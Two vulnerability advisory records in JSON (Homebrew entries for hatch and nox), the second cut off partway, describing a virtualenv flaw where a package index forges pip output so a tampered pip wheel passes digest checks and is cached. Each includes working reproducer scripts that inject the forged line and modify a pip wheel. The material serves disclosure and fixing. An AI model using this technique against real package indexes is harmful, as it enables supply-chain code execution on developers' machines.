{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.15.1",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "hatch",
        "purl": "pkg:brew/hatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.18.1_1"
            },
            {
              "fixed": "1.18.1_2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.15.1",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.15.1"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n    assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n    project = url.split(\"/\")[4]\n    return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n    run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
  "id": "BREW-hatch-CVE-2026-113714",
  "modified": "2026-10-29T22:13:59Z",
  "published": "2026-10-26T09:41:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Downloaded wheel selection and caching precede verification",
  "upstream": [
    "GHSA-494p-63j8-28p3",
    "CVE-2026-113714",
    "BIT-virtualenv-2026-113714"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "virtualenv",
        "resource_purl": "pkg:pypi/virtualenv@21.14.13",
        "upstream_fixed_in": "21.14.9"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "nox",
        "purl": "pkg:brew/nox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.8.17_1"
            },
            {
              "fixed": "2026.10.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/virtualenv@21.14.13",
        "name": "virtualenv",
        "resource": "virtualenv",
        "strategy": "registry",
        "subject_version": "21.14.13"
      }
    ]
  },
  "details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Configured index\n    participant P as pip download\n    participant C as wheel/house cache\n    participant V as virtualenv digest check\n    participant N as New environment\n    I-\u003e\u003eP: modified wheel and forged Saved line\n    P-\u003e\u003eC: write modified wheel directly\n    P--\u003e\u003eV: stdout names genuine bundled wheel\n    V-\u003e\u003eV: hash genuine wheel and accept\n    V-\u003e\u003eC: record modified wheel for reuse\n    C-\u003e\u003eN: seed modified pip without rehash\n    Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\"  # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\"  # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n    # each case starts from an empty app-data\n    shutil.rmtree(app_data, ignore_errors=True)\n    shutil.rmtree(home / \"env\", ignore_errors=True)\n    upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n    subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n    pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n    refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n    logged = []\n    if update_log_of_pip.exists():  # a failed update writes no log\n        logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n    return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n    [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n    stdout=subprocess.PIPE,\n    stderr=subprocess.DEVNULL,\n    text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\"  # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL  modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL  modified pip: update log of pip lists\", logged)\nprint(\"CONTROL  modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n    page.write(\n        \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n        f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n    )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n    for entry in genuine.infolist():\n        content = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            content += ADDED_CODE\n        modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n    f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n    releases, links = {}, []\n    for filename, sha256 in BUNDLE_SHA256.items():\n        name, version = filename.split(\"-\")[:2]\n        if name != project:\n            continue\n        shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n        releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n        with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n            metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n        requires_python = escape(metadata[\"Requires-Python\"])\n        links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n    (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n    (index_dir / \"simple\" / project).mkdir(parents=True)\n    (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for 